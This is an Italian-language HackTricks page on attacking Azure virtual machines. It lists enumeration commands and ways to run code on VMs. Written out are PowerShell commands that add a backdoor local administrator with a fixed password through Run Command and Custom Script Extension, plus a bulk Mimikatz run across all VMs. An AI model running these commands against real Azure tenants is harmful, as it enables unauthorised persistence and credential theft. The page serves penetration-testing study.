Az - Virtual Machines & Network

Supporta HackTricks

Informazioni di base

Dal documento: Le macchine virtuali Azure sono uno dei diversi tipi di risorse di calcolo scalabili on-demand che Azure offre. Tipicamente, scegli una macchina virtuale quando hai bisogno di maggiore controllo sull'ambiente di calcolo rispetto ad altre opzioni. Questo articolo ti fornisce informazioni su cosa dovresti considerare prima di creare una macchina virtuale, come crearla e come gestirla.

Informazioni sulla rete Azure

Le reti Azure contengono diverse entità e modi per configurarla. Puoi trovare una breve descrizione, esempi e comandi di enumerazione delle diverse entità di rete Azure in:

Az - Azure Network

Azure Bastion

Azure Bastion offre una soluzione sicura e completamente gestita per l'accesso RDP (Remote Desktop Protocol) e SSH (Secure Shell) tramite SSL attraverso il portale Azure. È integrato all'interno di una Rete Virtuale Azure, consentendo la connettività RDP e SSH alle VM utilizzando IP privati, evitando la necessità di IP pubblici. Questo lo rende un'alternativa più sicura e conveniente ai metodi tradizionali che coinvolgono assegnazioni di IP pubblici e configurazioni di regole NSG per l'accesso alle VM. Sviluppatori e personale IT possono accedere in modo sicuro alle VM dal portale Azure utilizzando i loro browser web, semplificando il processo per ambienti di sviluppo e test.

Per elencare tutti gli Azure Bastion Hosts nel tuo abbonamento, puoi utilizzare il seguente comando:

az network bastion list --query "[].{name:name, resourceGroup:resourceGrou, location:location}" -o table

Enumerazione delle VM

# Get readable VMs
Get-AzVM | fl
# Lis running VMs
Get-AzureRmVM -status | where {$_.PowerState -EQ "VM running"} | select ResourceGroupName,Name
Get-AzVM -Name <name> -ResourceGroupName <res_group_name> | fl *
Get-AzVM -Name <name> -ResourceGroupName <res_group_name> | select -ExpandProperty NetworkProfile

# Get iface and IP address
Get-AzNetworkInterface -Name <interface_name>
Get-AzPublicIpAddress -Name <iface_public_ip_id>

#Get installed extensions
Get-AzVMExtension -ResourceGroupName <res_group_name> -VMName <name>

Get-AzVM | select -ExpandProperty NetworkProfile # Get name of network connector of VM
Get-AzNetworkInterface -Name <name> # Get info of network connector (like IP)

Esegui comandi in una VM

Accesso AAD in VM

È possibile consentire l'accesso agli utenti autenticati tramite AzureAD. Ad esempio, tentando di accedere a una linux VM: ssh username@azure-corp.com@1.1.1.1 (è importante utilizzare l'email con l'azurecorp utilizzata durante il tentativo di accesso) potresti ricevere un errore simile a:

(username@azure-corp.com@1.1.1.1) This preview capability is not for production use. When you sign in, verify the name of the app on the sign-in screen is "Azure Linux VM Sign-in" and the IP address of the target VM is correct.

To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code DT4PNSTGR to authenticate. Press ENTER when ready.

Basta seguire queste istruzioni andando su https://microsoft.com/devicelogin e indicando il codice, utilizzare l'email e la password come credenziali e sarai in grado di connetterti tramite SSH (se quell'utente ha abbastanza permessi per farlo: ruolo Virtual Machine Administrator Login o Virtual Machine User Login).

Esegui Comando

# The permission allowing this is Microsoft.Compute/virtualMachines/runCommand/action
Invoke-AzVMRunCommand -ScriptPath .\adduser.ps1 -CommandId 'RunPowerShellScript' -VMName 'juastavm' -ResourceGroupName 'Research' –Verbose
## Another way
Invoke-AzureRmVMRunCommand -ScriptPath .\adduser.ps1 -CommandId 'RunPowerShellScript' -VMName 'juastavm' -ResourceGroupName 'Research' –Verbose

# Content of the script
$passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force
New-LocalUser -Name new_user -Password $passwd
Add-LocalGroupMember -Group Administrators -Member new_user
# Try to run in every machine
Import-module MicroBurst.psm1
Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt

Esegui Estensione Script Personalizzato

Le estensioni delle macchine virtuali (VM) di Azure sono piccole applicazioni che forniscono configurazione post-deployment e compiti di automazione su VM di Azure. Ad esempio, se una macchina virtuale richiede l'installazione di software, protezione antivirus o la possibilità di eseguire uno script al suo interno, puoi utilizzare un'estensione VM.

Pertanto, se hai accesso per scriverlo, puoi eseguire codice arbitrario:

# Microsoft.Compute/virtualMachines/extensions/write
Set-AzVMExtension -ResourceGroupName "Research" -ExtensionName "ExecCmd" -VMName "infradminsrv" -Location "Germany West Central" -Publisher Microsoft.Compute -ExtensionType CustomScriptExtension -TypeHandlerVersion 1.8 -SettingString '{"commandToExecute":"powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add"}'

DesiredConfigurationState (DSC)

DesiredConfigurationState (DSC) è uno strumento PowerShell simile ad Ansible, utilizzato per configurare un host tramite codice. DSC si integra con Azure, consentendo il caricamento di file di configurazione specifici. Questi file devono aderire a una sintassi rigorosa. In particolare, l'estensione DSC in Azure può eseguire comandi da file che soddisfano determinati criteri di formattazione, anche se la sintassi non è corretta secondo gli standard DSC, come mostrato nella figura fornita.

L'esecuzione di questi comandi è facilitata dalla funzione Publish-AzVMDscConfiguration in Az PowerShell. I requisiti includono un file .PS1 con una funzione definita e il file deve essere compresso in un file .zip. Anche se la sintassi potrebbe non essere accurata per DSC, il codice verrà comunque eseguito. Tuttavia, l'estensione segnerà lo stato di esecuzione come "errore" e non sarà visibile alcun output dal comando a causa dello stato sovrascritto dal messaggio di errore.

VM Application Definitions

Le Definizioni di Applicazione VM consentono il deployment ripetibile di applicazioni versionate su una VM Azure. Questa risorsa supporta il deployment e l'aggiornamento delle applicazioni su più VM. Per configurarlo, sono necessari diversi passaggi, che coinvolgono comandi come New-AzGalleryApplication e New-AzGalleryApplicationVersion in Az PowerShell.

L'esecuzione di applicazioni o comandi tramite questo metodo coinvolge l'"VMAppExtension", che viene installata automaticamente quando un'applicazione viene applicata a una VM. L'estensione recupera il file dall'URI specificato e lo nomina esattamente come l'applicazione, senza un'estensione. Per eseguire correttamente il file, il campo "ManageActions" nella chiamata API REST deve essere configurato per rinominare il file con l'estensione appropriata. La configurazione di questo metodo, una volta completata, assomiglierà alla struttura mostrata nella figura fornita.

Tuttavia, questo metodo di esecuzione è relativamente lento, impiegando circa 3-4 minuti per eseguire un'applicazione o un comando. I file relativi a questo processo sono memorizzati in directory specifiche (C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.4\Downloads\ per la copia dell'applicazione e C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.4\Status\ per lo stato di esecuzione).

Entrambe le tecniche forniscono modi unici per eseguire comandi e distribuire applicazioni negli ambienti Azure, ognuna con il proprio insieme di requisiti, passaggi e considerazioni.

Hybrid Worker Groups (HWGs) in Azure

Hybrid Worker Groups (HWGs) sono una funzionalità in Azure che consente l'esecuzione di Runbook, configurati in un'Automation Account, su una Macchina Virtuale (VM) Azure che fa parte del HWG designato. Questa esecuzione è facilitata tramite un'estensione installata sulla VM, che distribuisce il codice del Runbook sulla VM. Un aspetto significativo di questo processo è che le credenziali effettive non sono un fattore nell'esecuzione poiché il codice viene eseguito con privilegi elevati, specificamente come SYSTEM o root, come illustrato nella figura fornita.

Un dettaglio cruciale per coloro che utilizzano VM Windows 10 è la necessità di specificare la versione di PowerShell per il Runbook. Dovrebbe essere impostata per essere eseguita come PowerShell Version 5.1 invece di 7.1. Questo requisito deriva dal fatto che PowerShell 7.1 non è installato per impostazione predefinita su queste VM, portando a un errore nell'esecuzione dello script se viene specificata la versione 7.1.

Questa funzionalità di Azure offre un metodo robusto per automatizzare e gestire attività in ambienti ibridi, consentendo una gestione centralizzata e l'esecuzione di attività su VM Azure.

References

Support HackTricks

Last updated